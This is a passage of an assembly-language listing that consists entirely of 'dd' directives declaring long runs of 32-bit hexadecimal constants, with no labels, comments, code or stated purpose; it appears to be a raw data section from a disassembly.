		dd 59C42FC0h, 57435805h, 0AE0DC034h, 0A07ABA9h,	0F0356551h
		dd 0A72A91CFh, 0EFC14B12h, 8476DA04h, 838899B8h, 0A0BCAFAEh
		dd 0ABE9127Ch, 0F069451Bh, 0C8C1EA5Eh, 8663F44h, 0B280D03Eh
		dd 765BBB32h, 295887C9h, 6E4A7C1Ch, 3618C5CAh, 0E4F61761h
		dd 6DAA5A16h, 2D4D551Fh, 4D401A93h, 1D773FC5h, 0A8012BDCh
		dd 0E90880BFh, 0A8704BF8h, 0F9139EDCh, 0BD4A56EDh, 39C14B04h
		dd 0C96EBEE5h, 1DA23E4Fh, 2AFEECF2h, 285B5802h,	87565DE8h
		dd 0C0FF807Ah, 5B663F2Eh, 6FB2C149h, 0C3436BCFh, 0D1B407EAh
		dd 0F7538414h, 7AC8B15Ah, 2D5BA08Bh, 0CC0C62F1h, 0E5524B1h
		dd 5944BD66h, 8EDC182h,	0A90640F7h, 3009FA41h, 0C2125DEAh
		dd 24DB116Ch, 1131F66h,	0E67CA767h, 70905764h, 281932BAh
		dd 9931CA6h, 230F022Ah,	7A961200h, 58B75D1Dh, 75DA9D67h
		dd 0F7F10B82h, 8074A9A5h, 0EE6E7B2Dh, 0D3E92447h, 0B579206h
		dd 0ED79F9F3h, 4B0D428Bh, 0B2AEC907h, 76189141h, 7E69CB04h
		dd 250E5149h, 75B79A5Fh, 191A7E02h, 0C7D97709h,	4CF4431Dh
		dd 0ECA45A87h, 63685801h, 0B7337E49h, 0F9209D82h, 7B585BABh
		dd 799D2F4Fh, 0F60BF845h, 625D59D2h, 745FF483h,	0EA50E402h
		dd 91583232h, 75EE685Ch, 6F64F0B1h, 1EE9D7C0h, 0C4ECFCBh
		dd 26B652A6h, 105FF07Ch, 0B2FA3C12h, 3014D4FAh,	8BBE1439h
		dd 76E42E0Eh, 66D703F9h, 0E0055F4Dh, 0EC6188B3h, 0BF2D17BAh
		dd 40AEC517h, 0E03FCEEEh, 635AE935h, 14EDEADh, 371EA3B1h
		dd 1BD1F426h, 0E868582h, 0D3B8E940h, 9019CD5Fh,	0CD7D5BD3h
		dd 0BB2340C5h, 224B4D44h, 0A4EA99EBh, 13E5410h,	46259B5Ch
		dd 0D2F3EEC1h, 0E4686057h, 0B8E7974Fh, 278423AAh, 48A46815h
		dd 933A84CAh, 0A8093109h, 210937F4h, 0A3E5DDE8h, 0B0EC11Fh
		dd 6C688231h, 47EDD12Bh, 3923D256h, 0B3929459h,	0F346BFE8h
		dd 1DC5BE02h, 5C624214h, 9AF15E48h, 4AD26880h, 6865687Bh
		dd 2F211520h, 13DD92E9h, 6469C288h, 40473CCAh, 0A464D417h
		dd 0E40CEE1Ah, 0C078725h, 1A1104ECh, 83C6010Bh,	5D13831Ah
		dd 0DD8C3CC5h, 7D2E0398h, 0A754E948h, 0DE684C02h, 0D5671DF9h
		dd 5192C3C0h, 6A77E225h, 0E5080FDBh, 8A9DD389h,	0D21AB82Ah
		dd 3BC59DABh, 0ABB540BCh, 283C8CA5h, 857FA25Eh,	84539AE6h
		dd 0E4AB5D12h, 5DFC096Bh, 2BEB6879h, 116EAD30h,	981D4AF5h
		dd 1040AF60h, 47B32853h, 20D4D86h, 67E7EB86h, 795AD125h
		dd 8A5B128Fh, 74D40C3h,	9D3A7741h, 40917AEAh, 1058BF8Ch
		dd 20D5925Ch, 5512162Fh, 8EAF5D54h, 6D5C3226h, 26677F57h
		dd 802802Eh, 853CD940h,	16D05ACAh, 1D7331E3h, 98C12F42h
		dd 54652803h, 9055310h,	1F012248h, 0E9E2AC22h, 2B066577h
		dd 0B62EE5A5h, 6EC941A8h, 0E98548B6h, 5872F02Ch, 20BE25D4h
		dd 0BF0F1AACh, 0BE7E17C8h, 88EED9C5h, 3C12B922h, 73074D90h
		dd 0EF1BFF63h, 2726A13Dh, 45B5BAF0h, 18768C10h,	140CED65h
		dd 0C48E54Eh, 0C44201FDh, 62E95B41h, 59249795h,	56395E0Bh
		dd 6DDD6251h, 0D128416Dh, 0DFD99352h, 0FC736F0Bh, 0FDD6E901h
		dd 785C8952h, 0AA5065AEh, 4C0FA765h, 47C505A6h,	0F3835EB1h
		dd 576381B7h, 0B892D8DBh, 0E1F64D2Dh, 0AF78644Bh, 0C2E94860h
		dd 1779D27Ch, 12566981h, 0B6D6FE9Ah, 0D4C28006h, 8B132A9Ch
		dd 5A3801C3h, 0E801674Bh, 912C9057h, 0EB876812h, 0D93ABEF5h
		dd 1C94425Bh, 0B787945Dh, 6742025Bh, 0F6810062h, 152C0206h
		dd 0A7025E63h, 63AC7BB4h, 0B001A84Dh, 82F2E62Fh, 0B2600809h
		dd 50D7110h, 0B143537h,	0AC5F33Fh, 0E554295Ch, 7BE16805h
		dd 823531EBh, 0E0590223h, 3E2E79E0h, 0BF166AAAh, 0C1E4FC95h
		dd 17150733h, 6064AA2Fh, 5CE90C02h, 2619911Dh, 492573FCh
		dd 0D403245Dh, 153427Ah, 4100E51h, 8BF4AF09h, 2B852668h
		dd 0C382C9DAh, 2B81108Ch, 889A2569h, 0C00C0A2Ah, 60A97111h
		dd 0F885E925h, 53462C20h, 0FEF913E1h, 5214D8Dh,	7653BC2Eh
		dd 0F788EB5Fh, 0DCFDAAE5h, 2C80C23h, 6418C631h,	28509B0Dh
		dd 8538BCF0h, 817E1393h, 2D4264Fh, 51668901h, 0BEEE6404h
		dd 0BE2A09F1h, 3D5AE82Ch, 794F4729h, 68EB087Fh,	346D5A27h
		dd 0CBF8BDE9h, 4084E91Bh, 2F07F781h, 575F6112h,	0C9C8AA22h
		dd 6807C545h, 0F70B2778h, 699FE91Eh, 3928A019h,	48E87F70h
		dd 2527ECA1h, 0A791AA0h, 0F0B70E42h, 62022F98h,	5A494251h
		dd 4572342Ch, 13FCD39h,	7FE31CC9h, 4E22A088h, 8725BEE8h
		dd 0AFD3F2A3h, 0E040D38Eh, 0D09F5ACDh, 5D17D948h, 567C167Bh
		dd 3CB05AC4h, 2479A0BEh, 0E634460Eh, 32E96404h,	0E14CDCBCh
		dd 69AC499Eh, 9EF797Dh,	0D7596083h, 6BD76805h, 0CC2A31FBh
		dd 0F0D76C43h, 0BDE048E9h, 0EBDC6924h, 80479A1Dh, 0FC0768C4h
		dd 8F5FEC57h, 2CF4445Bh, 88880774h, 0AFD724E2h,	65942E88h
		dd 6F0216Eh, 147DB634h,	12EE74B7h, 0D57E87E5h, 0BE5DA00Fh
		dd 5767B709h, 4050426Eh, 2F767F4Ch, 557606E5h, 19A19596h
		dd 5DEAC6Bh, 6E7DED87h,	0C93590ABh, 833B7553h, 5E1034Eh
		dd 0D001E57Fh, 2E1A4568h, 0EE4745Fh, 1842FFEBh,	10DF0958h
		dd 9D506A60h, 2A0311F0h, 297D254Ah, 82EFF2CFh, 78DCE908h
		dd 6B0539C0h, 0AFB82312h, 330B0A13h, 493F79EFh,	0A6D6797Dh
		dd 905214CFh, 0EBB2404Fh, 145E0A65h, 0E9C59897h, 38D09636h
		dd 53E7C22Dh, 1DBEB0Eh,	1411E9D3h, 0A605446Ah, 57540BD5h
		dd 1F4B46C6h, 8FEECC16h, 0F83117F9h, 85FC8AFAh,	0E7E825E9h
		dd 5C1FBF0Bh, 0FA89F002h, 9883F490h, 0DB7FC2E1h, 99E5C2DEh
		dd 7255700Bh, 9E586F50h, 54CC8E5Fh, 0DBF2EF12h,	1B50B0C9h
		dd 0DEB55B76h, 97D52D90h, 1C6B2DD0h, 655F7C8Ah,	0BA1633C0h
		dd 37C55106h, 2666902Fh, 0A5937594h, 0C70043F4h, 558B270h
		dd 0E2601D48h, 7DC6437Ch, 2FD02164h, 94906B1h, 0CA010249h
		dd 749C8FE9h, 64BB80D7h, 0F18142E4h, 890DBF65h,	459905F0h
		dd 9A47F4Ch, 0FE5F4A54h, 5C069FDBh, 64FE980h, 0C1287614h
		dd 2F40C56Ah, 4252DDAFh, 8CFD0E9Fh, 0E2D9846h, 25B683Eh
		dd 4A4231B2h, 0E5322FEh, 9500D7Eh, 32DB7729h, 63F17627h
		dd 3303DB0Fh, 9D3BC5C2h, 7C0C0249h, 2928D64Bh, 41EA23E1h
		dd 240EE908h, 520BB85Eh, 0A743D37Ah, 0A1077C7h,	0BAD769E9h
		dd 243D717Dh, 0CB61B96h, 0EF69DDB9h, 0E7DCC209h, 508D679h
		dd 983A7768h, 7095DD4Eh, 0B85B4E4Dh, 0A0D01321h, 4B7BDCB7h
		dd 0FA6F1257h, 983CD91Eh, 0F565EB8Bh, 9E7013A6h, 8AAABD03h
		dd 0F9AF909Fh, 0DB4ACB9Ah, 0D099333h, 462349E9h, 18F195B3h
		dd 0CB525549h, 5DEB2909h, 0D3E65587h, 884DB50Bh, 62DE5EEAh
		dd 47554B6Dh, 0DABE2FEBh, 3ADC72A1h, 4E786DA2h,	22DE9E3h
		dd 3897BE56h, 54C88487h, 0CB9C12FEh, 61EB4FEEh,	4D471970h
		dd 0E6C220C5h, 0C0F4793Ah, 2A0504F3h, 855002ACh, 0B6F2C4BDh
		dd 246948D4h, 0F240F220h, 4F7B0F37h, 4B52EE7Dh,	0C53982EFh
		dd 0FA98EC50h, 0F4E2709Dh, 0F39B5E47h, 3BD5FE4h, 71E95DA0h
		dd 88A805B7h, 48584FEh,	4D75A9h, 0B252C5FEh, 18FB0C1h
		dd 45F78079h, 0DB03EFC0h, 182F069Bh, 397A7620h,	0DFF6630Dh
		dd 0CE1E8504h, 16FC50E9h, 0CB5B902h, 2EC31214h,	0A5E841E2h
		dd 38026ABFh, 4B6863E8h
		dd 61425C09h, 0F22D52FDh, 0F5CAE8F7h, 0BE221870h, 0E1550C72h
		dd 12B0364Ch, 0A4AB5DEFh, 71E1E2Ch, 5AE6D156h, 396BAF02h
		dd 26FC577Dh, 0E5800D0Fh, 0AE4FE0h, 0CF42D3Dh, 0DCB87A0Ah
		dd 2E32975Ah, 0DB9DAB54h, 86DA2FC9h, 0BCE95A09h, 9FE8FD90h
		dd 50010B9Ch, 0D1EE815Eh, 0E9EC7936h, 85C3F196h, 1B100E2h
		dd 0A5F320FEh, 0D6272592h, 0B87E67Ah, 40F97419h, 58209078h
		dd 0ED81017Ch, 116D0B27h, 885CF051h, 502D2A92h,	0D5B3E156h
		dd 10FF3102h, 94C113A7h, 0BA2DC4D4h, 0C13AD6B1h, 4711E7Eh
		dd 6F77A406h, 2D400086h, 709605B5h, 151D5335h, 0EB400844h
		dd 29C29D1Bh, 591BDC3h,	90D42BD1h, 0A1C64ECAh, 0C505CF80h
		dd 446C26A8h, 0ED2801ACh, 0A85F5B08h, 6A246054h, 9549CD55h
		dd 0EDE97061h, 979B570Fh, 4180AC12h, 0D1B6235Fh, 0ACFEA0Fh
		dd 0F5B7BFF2h, 0EB07C84Fh, 0D331051Ch, 0F708DA98h, 0DB8740D2h
		dd 0BDBCD17Fh, 1FAE881Dh, 20ABCB16h, 5AC26811h,	252BD183h
		dd 27791926h, 7FE4F927h, 2E656812h, 6B743DBBh, 3C5C744Eh
		dd 0F5155525h, 91AA5C17h, 2F9B620Fh, 396056D1h,	387C5FC2h
		dd 9738575Ah, 65243306h, 0FE024E7Fh, 0FF809ACCh, 0D955D2E2h
		dd 0A7904A9Dh, 25A67A47h, 8BAFF916h, 5CE24AB4h,	687598D7h
		dd 18373627h, 0BE49029Dh, 30F7E9E8h, 62E368BBh,	0E7AB7D5Fh
		dd 0C4F023C6h, 0B801C8B4h, 16B057E1h, 0F4FDE17Fh, 4D97AFB3h
		dd 5E984C8h, 3141EB68h,	0D60C9BBEh, 36E9827Eh, 4183FBD0h
		dd 49E9CC9h, 6073C9C1h,	76AF43BDh, 597FE9CAh, 161D2CF6h
		dd 7A3AB635h, 2DFAC04Fh, 976BF480h, 6850759Eh, 31695A7Dh
		dd 3629DF2Ch, 458103A5h, 9C312D6Ch, 1234A6BAh, 0EE0D2E9h
		dd 9F2D07ADh, 50104A50h, 1F167CB3h, 6A91E92Fh, 4D87F568h
		dd 6805F8D7h, 0D2306F4Fh, 945E028Fh, 5FE48BBDh,	680530C4h
		dd 6388191Ch, 8031C705h, 100A645Eh, 0E181C2F6h,	46C805FDh
		dd 3C02802Bh, 975B9FEDh, 0EA09CCA9h, 570905D3h,	88528F7h
		dd 429A732Fh, 0D25FAD19h, 8F7F275Eh, 328897D1h,	5E540BA0h
		dd 5B2E7FDh, 8958EFE9h,	0D059DDF6h, 0C498399Ah,	0E87A01ECh
		dd 5105A95Ah, 8221F128h, 5C6D5AB2h, 0DB2A2477h,	52F86988h
		dd 1EA26812h, 0B9C440B8h, 5030AE59h, 5BA20816h,	9206B221h
		dd 76BAF4C2h, 96625AEh,	2B60B905h, 71C2303Bh, 402C7E5Ch
		dd 466FFBB8h, 7B9660Eh,	1996290h, 81294EC1h, 7F00681h
		dd 0E460FF48h, 50215FACh, 0C325C4D9h, 0FABE24DDh, 73F9C9EAh
		dd 5803C15h, 5AF028DEh,	0AD2497E6h, 6E74ADA9h, 778F295Ah
		dd 6BFC73h, 0FBE93E3Bh,	0AC895AAh, 0EF285ACFh, 579FE4Fh
		dd 190100Fh, 5A273D1h, 0BFD549C4h, 0B38737ADh, 60637D73h
		dd 7C9558F9h, 3B1C400Ch, 39B40DE0h, 0ABF578Ah, 8A915527h
		dd 344D78BEh, 1C073BAh,	0D60288DAh, 201C05EFh, 0D5A74C86h
		dd 0B6BEA710h, 9F56603Fh, 0B001B418h, 0D9B6959h, 7176CF00h
		dd 467D3603h, 0E70E63Dh, 0DEC130FAh, 0B8ECD9E8h, 0F6E44927h
		dd 9029ABh, 645C3BB0h, 0E92A505Fh, 801ED6EEh, 0B44273C5h
		dd 40E53070h, 0F859E86Fh, 0E93812EBh, 0BFF24E9Fh, 0FA4B221Ch
		dd 2DE967D8h, 53517F75h, 179BBE0h, 684D002Fh, 6361CE4h
		dd 834AFEE9h, 53E572ACh, 0BADCE60h, 30062268h, 0BF9EFF07h
		dd 5AA72E79h, 1F78CE49h, 0F7544C61h, 0EE446FD3h, 5F09374Fh
		dd 929657h, 2FB6700Dh, 8102EDC1h, 340CCD0Fh, 0F586F83Bh
		dd 98D0E043h, 26FB1F3Fh, 0A0299DACh, 6B400882h,	14B798E8h
		dd 0F7F420AAh, 5295F2Eh, 463C342h, 0D91E13F6h, 99EFE793h
		dd 48E23AD2h, 372084C4h, 0B1736B82h, 68EE6D8Ch,	5C87D60Eh
		dd 50204EF5h, 0EAE534A1h, 6FACE8D1h, 0B70A28h, 8065B435h
		dd 0B0A448CCh, 99903A3Eh, 0F0DE649Bh, 0FA4B46ACh, 0FFCAC179h
		dd 0DD011C22h, 0F232F164h, 600D164Eh, 902E0A78h, 7E0F0075h
		dd 0F8092A23h, 99B965E9h, 0BD9EF82Dh, 5378DFFCh, 859E4BE9h
		dd 0C2E49C6Fh, 709A513Fh, 0A7DE74BFh, 4B9EBD8Fh, 0F9D23D8Ah
		dd 0BB0200BDh, 0B7047346h, 23139280h, 709825E4h, 0FC269B09h
		dd 0D6815FE2h, 805FFD21h, 647FE784h, 9F78179h, 7B47730Bh
		dd 3D835A57h, 51123EFFh, 0DCB7044Fh, 0ECE6CD29h, 1D1318B9h
		dd 0B6816EC5h, 5502F841h, 67F57177h, 4771B929h,	7EC717B2h
		dd 0E83501C3h, 7165DC56h, 0CDFCF066h, 727CC997h, 5B248728h
		dd 0DAB83183h, 21D9DB5Ah, 3B5430FBh, 52DD140h, 2B30BADh
		dd 0CE91AB09h, 22E01A55h, 0FD0430E9h, 42746826h, 250232BBh
		dd 51D076EBh, 1C40A728h, 59A6F301h, 3C9CB831h, 34346DB5h
		dd 29D85A28h, 84053973h, 5D0BDA4Eh, 0BDB51655h,	0EB031796h
		dd 0E955AB60h, 0CDD9C54Bh, 7570C5CDh, 83CBB06h,	2C0EC91Ah
		dd 370C3E51h, 0B0D8A916h, 1A44101h, 6FA141E5h, 3BCBAFF9h
		dd 0D89526FAh, 28D02441h, 209828AEh, 2C3B517Eh,	60EBAD77h
		dd 12E5BBDAh, 0A87F8530h, 5CF20943h, 8B534210h,	0E5300098h
		dd 4CEF7C11h, 65053F20h, 0BA78083Ah, 293ECE9Eh,	0B11CE913h
		dd 68772AF4h, 7998FDD2h, 4968C192h, 433D2B56h, 0D334BB2Fh
		dd 1268BA2Ch, 0AE7A169Fh, 9675D308h, 0F25F00EAh, 7BFEEBBEh
		dd 710F4FB0h, 8021F155h, 0AD2714EEh, 0BE18D729h, 0D6014040h
		dd 0B98BB3E9h, 1F1BBC57h, 0E112108Eh, 0A6B474BFh, 5E0C4317h
		dd 5BE94070h, 204BDAD0h, 1F45D15Dh, 99689CD9h, 69EF2B0Ah
		dd 0F6C30120h, 29215E1Dh, 14D1C46Fh, 4531E608h,	0A5544731h
		dd 0EA60325Ah, 0BF245874h, 0C8937B73h, 22130FBDh, 35D6E336h
		dd 0F0EF1106h, 8341A349h, 4B27C440h, 0C4660ADh,	339C74B8h
		dd 490171B0h, 0E9617D52h, 8D2FC5E2h, 99D68E9h, 0D1274168h
		dd 87C38C56h, 0CD48FE10h, 0D9FB2507h, 7242820h,	312D0296h
		dd 40466F05h, 0E9D9A64h, 0EBD40E3Ah, 768F068h, 391F24BFh
		dd 0EC15A512h, 0EEC10C73h, 0BC6A808h, 73476764h, 5C338CFFh
		dd 17187405h, 8C3018Ch,	5C1695BDh, 0EA8917ADh, 0EF80E8A0h
		dd 0CF7528B1h, 597EC775h, 7D6B0A2Dh, 0E404A6AFh, 165FEF94h
		dd 138A42CEh, 8689B3ABh, 0BC3C5370h, 4F5E30D5h,	6102B252h
		dd 97E9DAF6h, 6FC45539h, 6B8FBC35h, 0C0081E92h,	25B39D0Ch
		dd 0A558D916h, 4CAF820h, 83071CBBh, 37B2C849h, 55A23208h
		dd 12A2609h, 400E5BCBh,	272E006Ah, 213939DEh, 8AE0BFFCh
		dd 11190C24h, 5FACD631h, 0B4F7AC3Fh, 9BB24782h,	6C5EBADAh
		dd 4C4CC000h, 0E91BBE67h, 4C57255Ah, 75687C98h,	17DBB36h
		dd 33F5389Eh, 5FDA98F7h, 27686651h, 375390Dh, 190FF5A1h
		dd 12E9890Eh, 0FEB76F51h, 0B8F0B741h, 0E97512ACh, 256DA0B5h
		dd 556E320Fh, 623C4B3Bh, 0A2017D68h, 0CB3E5341h, 0CAC807E2h
		dd 4C2D5DB9h, 38B1DE72h, 4045200Bh, 85621E0Bh, 4C156177h
		dd 0FB4EE87Ch, 3E0F743h, 0AD709745h, 0BF6E6272h, 78010F0h
		dd 56024859h, 3D1921BEh, 38DE36Dh, 4FF68104h, 81D46441h
		dd 715F105Ch, 490C8501h, 6880E7A3h, 0B6BDE9F0h,	7B7C2FD2h
		dd 0A0526C09h, 3495DCB2h, 0D76971Fh, 0E36B0B8Fh, 2D7297Ah
		dd 0E9621074h, 0D476463Eh, 46416012h, 7D3864BBh, 5D3A31F1h
		dd 2781D0D9h, 5952F8ACh, 8D4C2E45h, 8F83A35Fh, 290990A0h
		dd 0E15D2DF0h, 64F45EB2h, 6D4E9751h, 0B9FA1F6h,	0E9C65578h
		dd 452D5B5Bh, 0C5AEB23Eh, 36EB9919h, 0A227A6E8h, 669AF79Dh
		dd 48DAF001h, 0E58C70EFh
		dd 4F2E0748h, 0E913C8F3h, 5D9CA035h, 7ECF3125h,	2053E28Ch
		dd 92BD5A05h, 0F7C2F825h, 0CFC4C5DCh, 0B97A3ABh, 2CC4E3E9h
		dd 24C286D9h, 83602E33h, 700212C7h, 3C0EDB3h, 98D763C4h
		dd 34B97DBAh, 31E8DC72h, 4CEC6F5Bh, 2D1F6405h, 8CAEE874h
		dd 25688C01h, 2AF6288Ah, 742477FAh, 20FDF167h, 2826C673h
		dd 0E20AFFFCh, 0F381DD6Bh, 47BA3A4Bh, 808C0C30h, 409DC621h
		dd 755D25Bh, 0CA816EA9h, 1B284309h, 2696EAB0h, 749AB34Ch
		dd 0ABA6F40h, 31F170CFh, 2DB038Ah, 0EABA6C47h, 6F337761h
		dd 743B9E2Dh, 80B9BFAFh, 2B685D09h, 3D162F2Ch, 0C8EFAFC0h
		dd 90575256h, 8A2D1D4h,	582DBC48h, 3BE172E1h, 2EA444Bh
		dd 0E07CCF61h, 24510815h, 1D595D64h, 0B5430602h, 0E69F3A29h
		dd 240CC1FAh, 6EB0FC49h, 5A0E9EB7h, 0AE329EE9h,	0CB5FF6E6h
		dd 0B08B4A24h, 0E8A0A217h, 5054C6C7h, 3DA68010h, 44C2E144h
		dd 55908152h, 1372E3ECh, 4208EFC1h, 48AF0AC0h, 0D8ED5CA0h
		dd 0E913B7C3h, 15E45D88h, 0C5430B6Fh, 66C3450Ch, 0D8F028C8h
		dd 71346E5Ch, 6ABFF9F8h, 369401CBh, 7DFA8801h, 0E9F17221h
		dd 1B177B1Eh, 0B55D68D8h, 7354B75Ch, 74625BE9h,	0EAC681A6h
		dd 67820439h, 0B4707DC6h, 165E294Ch, 0C9AB8D55h, 3A802AA3h
		dd 245C018h, 256BE1BBh,	69F73109h, 603419CAh, 2A76B75Fh
		dd 0C259D4D2h, 0E918643Ch, 44F160CBh, 8058C530h, 107AF55Ch
		dd 75489008h, 0BECC5F7Dh, 0CA548271h, 0B851A86Bh, 6D3226E9h
		dd 0F7046FB5h, 0F8090085h, 0B05405Fh, 42612206h, 0AB78AD04h
		dd 0AC442FDh, 1582BDB7h, 26926602h, 0D31E98B2h,	0A9055A16h
		dd 30A26E4Ah, 58A5C310h, 0EF8A05E8h, 0D7EAD6E1h, 8C7D7B4Fh
		dd 0ECAD0D28h, 2C1B48FCh, 2708C268h, 445A1B63h,	54CC3CEBh
		dd 68FCA1BDh, 9A7E1678h, 30E94144h, 7B9F251Dh, 69688314h
		dd 5891CB60h, 0CEA36F92h, 9368014Eh, 40180D32h,	0DF294508h
		dd 64AF525Ah, 100C1AC0h, 0B07D1C12h, 0B554C04Ch, 561FE047h
		dd 0D7F30DCBh, 6F3F7FCEh, 8FB77746h, 10080507h,	0BB0117B3h
		dd 6D2D26F8h, 60D6714Bh, 0F19B2CCh, 45F42505h, 0E950A272h
		dd 97E24DFh, 1D4912B6h,	90A12A0Fh, 0B4DC1D54h, 23166D6Ch
		dd 0A59091Dh, 0B0F5817Fh, 4539C647h, 0D3559970h, 2701ABB4h
		dd 23706850h, 52003E33h, 535107B2h, 0FDE4D788h,	0EB025B75h
		dd 1D685A59h, 31546C19h, 0BE108D15h, 69967051h,	5E4AF5FAh
		dd 0CF0B93C4h, 0EF754805h, 72161318h, 5A86EC84h, 8E59D983h
		dd 5681390h, 1199B328h,	0C35A601Ah, 0E309FE35h,	0DDED93E9h
		dd 7A9481E9h, 5958964Bh, 51556931h, 0DF046BC6h,	0E473AFC1h
		dd 0D9521052h, 0BCA3625Eh, 0A9F1DD6Fh, 72F96841h, 4CA8986Eh
		dd 17C2E659h, 84A058C1h, 808F4047h, 0BF89C626h,	1EEFF334h
		dd 9A16604h, 342F571Dh,	0B37BC443h, 0F9978817h,	0CB0A31EFh
		dd 0D0C634C0h, 0C90B5E98h, 5841465Eh, 4C68120Ah, 1D026014h
		dd 93A8FE01h, 0CEB72AE2h, 0B03B9242h, 0BA69D2F7h, 2F98CBE3h
		dd 525C31E9h, 0EEB6C44Eh, 165C80EEh, 5782CE20h,	8CB5C1E9h
		dd 1024EE0Bh, 0F3302C72h, 6C400C8Bh, 91B8AC44h,	0F6D6809Fh
		dd 0EF380DBh, 5BDC0825h, 0FBD6ECC5h, 0B652FF71h, 64EEC0F8h
		dd 0C1015405h, 0C6FFBD5Ch, 0E526C04Ch, 0B7626D58h, 3B05004Ch
		dd 6BFDE32Fh, 5A8C9F5Fh, 9D521C7Ah, 44557940h, 145284Ah
		dd 949087E9h, 510A22Dh,	315A53D1h, 0BA4B30C5h, 9A2D41D4h
		dd 0F03161Ch, 646B7628h, 5E0EA8D6h, 148E72FEh, 12DAF17Fh
		dd 19F31552h, 415A85Ah,	1F95076Dh, 0BEE14C0h, 0E97E1778h
		dd 2F9BA1B8h, 0F8D0C4E2h, 42FF510h, 7DEC685Fh, 628D0C8Dh
		dd 3E138702h, 0F7C93483h, 7F98120Eh, 4CCC6280h,	0A2A06847h
		dd 768D340Ah, 40D8F71Fh, 67F7045Ch, 2BF0AB64h, 68E60D89h
		dd 2FE12738h, 642D6B40h, 7371602h, 0EA76F90Dh, 7E22F311h
		dd 93A23755h, 0C80CD4Ah, 5E685366h, 0B4758CF3h,	0F480FD09h
		dd 0EB3D47Fh, 0BA7742E9h, 63806565h, 98362B69h,	0D1889533h
		dd 0BA5A1308h, 67B5B6CCh, 74F2817Ah, 0BE68D4A0h, 4F351AB8h
		dd 7881FA5Dh, 0E76AE831h, 4EC716BEh, 5B7022EAh,	24564D6Ah
		dd 0FE91F34Eh, 8000BC68h, 0BBA0DBC3h, 0E9D3696Ch, 0D4FBC812h
		dd 0FE1AC578h, 26B1B0CCh, 57802Ch, 0CEFEF186h, 4FD29BE9h
		dd 0FE2DA60Bh, 0BB059241h, 4C0158C5h, 397D0249h, 876CC43Bh
		dd 8D1D5119h, 73CB7C74h, 0D060ECB7h, 8817C1DDh,	0C90AA989h
		dd 7C5CAB07h, 0B0B59716h, 0C302BDD0h, 0F717132Ch, 0B1205DD5h
		dd 0E275E8E5h, 63BF5650h, 18143F18h, 20034A18h,	0FA095234h
		dd 0FCEDCBFFh, 1C5DD2ABh, 910C25CCh, 38D23466h,	0E10865B0h
		dd 9D3AFB2Ah, 0A556E915h, 9304F94Bh, 5BFFDB0h, 30317E0Eh
		dd 85A205BBh, 36C4AA47h, 2379B00Fh, 0F0817894h,	2C570FCBh
		dd 4CD4223h, 0BE765109h, 54D60AC0h, 0E90C1231h,	8AA8C53Dh
		dd 91FF4B77h, 247C596Ah, 411E4F96h, 2A9C918Dh, 2726E6EFh
		dd 78567235h, 0EB34F473h, 0D4A6AEFCh, 8823B307h, 845B5BD9h
		dd 0A8F9CB35h, 3FC5284h, 0C1F58851h, 922D9AA4h,	0B527974Fh
		dd 5A82A067h, 1FD52D05h, 84BF4EBEh, 0E907036Dh,	0A90499BFh
		dd 56A968E3h, 10C68CD8h, 6253B18h, 3D7E03C9h, 0E42A4E5Ah
		dd 6B02CB4Dh, 0C106411Bh, 756042EBh, 0FF892C54h, 0C8408377h
		dd 59640949h, 25F95F29h, 0E628DF09h, 0B37E254Fh, 81D448DFh
		dd 211A0CCDh, 5E0C4D88h, 65391717h, 0ADA49600h,	1C056973h
		dd 456A199Dh, 0E2DE801h, 95C35D07h, 1AFE8C49h, 0F0070551h
		dd 882F1A5Bh, 0CB185606h, 0F62C879Ch, 0CC9D5BE9h, 0F4F4774Bh
		dd 263F62C0h, 0C378405Ch, 8A180BA4h, 0DC785D1Ch, 5C5F81Ah
		dd 455EFC1Ah, 4F9EB895h, 0E9F0A5E9h, 70BB7426h,	0A227D25h
		dd 2EF34919h, 0DEC20DB4h, 9CBA006Fh, 87A6D18h, 40B3A655h
		dd 7252EF81h, 2B86574Bh, 0B379BF7Ah, 2CAC0B12h,	42E1994Ah
		dd 0B580BE96h, 5DEA0157h, 0B03EE395h, 4E292C09h, 82A537FAh
		dd 235F5AD3h, 0D02C3DF6h, 0BDEF6835h, 5C9DDA52h, 22565AF8h
		dd 555FF860h, 0C24D4FE9h, 0D1F79692h, 2C0421A7h, 0BE9513B9h
		dd 0C2814990h, 0FF2A097Bh, 6A7D5D16h, 80DA5403h, 0DAD47EF5h
		dd 0EB5C892Eh, 55502F54h, 8774E31Ah, 0EDE1410h,	0EB124F99h
		dd 5061E79Dh, 50EE1831h, 11B80759h, 0A2205612h,	47D2931Dh
		dd 0F95FE102h, 43CD3173h, 299CFE89h, 2CFF9242h,	2C014B41h
		dd 0D67457F2h, 120EF5F9h, 32C0860h, 3381006h, 95E33606h
		dd 50CCBFB5h, 1365D45Dh, 0FA3FF21Bh, 4BC11A98h,	6FC682E3h
		dd 5AEBD00h, 0BB314E9Ah, 0C7FD2ED5h, 0EAFFE825h, 4BF9D0A1h
		dd 7A38B39Bh, 0E06CDB6Eh, 810D5406h, 347D91EBh,	0F697FE0Ch
		dd 3B1AA1CEh, 90B420BCh, 508161Ch, 0B4A4F176h, 850077F6h
		dd 0B82DD654h, 0EA6F2F67h, 0C6501994h, 4205926Eh, 0F1605507h
		dd 7100659Dh, 21BBD77h,	0B701F7BEh, 0FBB08D76h,	0C784D2E9h
		dd 29414962h, 0CE47CA80h, 5597DED5h, 58858382h,	8C9455Fh
		dd 90284602h, 2212C704h, 0FDBE3D18h, 0F1077BE1h, 69AD50A6h
		dd 3F4A6DB3h, 1487F217h, 0C3422EAAh, 191CA020h,	5D89EDF7h
		dd 0DA257DEh, 66096FCDh, 38FE806Bh, 78376368h, 0BDE90FC3h
		dd 4117C23h, 67926F71h,	0C51EEA00h, 9C833182h, 0E092C2AFh
		dd 21801DFh, 903410B0h,	75F6E75Dh, 0E15E7D34h, 0C2EAE595h
		dd 465B4495h, 98FE539Eh
		dd 0B928C87Ah, 3D3713E0h, 0F3F2A44Ch, 71E12012h, 4DA3A0Bh
		dd 5001E72Fh, 0C977DFB8h, 42ACEC7Bh, 62093C92h,	37A128h
		dd 1363BAC6h, 70E92D1Dh, 0F7922056h, 7AE49AE0h,	17499CB6h
		dd 0F14AE852h, 0BF2AE0D3h, 0C8B9DA65h, 166C5084h, 7895CCBFh
		dd 2DBB465Ah, 0E1FF6021h, 0CC4CF195h, 5A9B5DDEh, 5070BD03h
		dd 33C7E91Bh, 981B33Bh,	0C6465A68h, 82014ECAh, 0C4FE5DFAh
		dd 6C9977C9h, 27233D05h, 0AD8F56EAh, 2B6493C1h,	0F7EBBFC5h
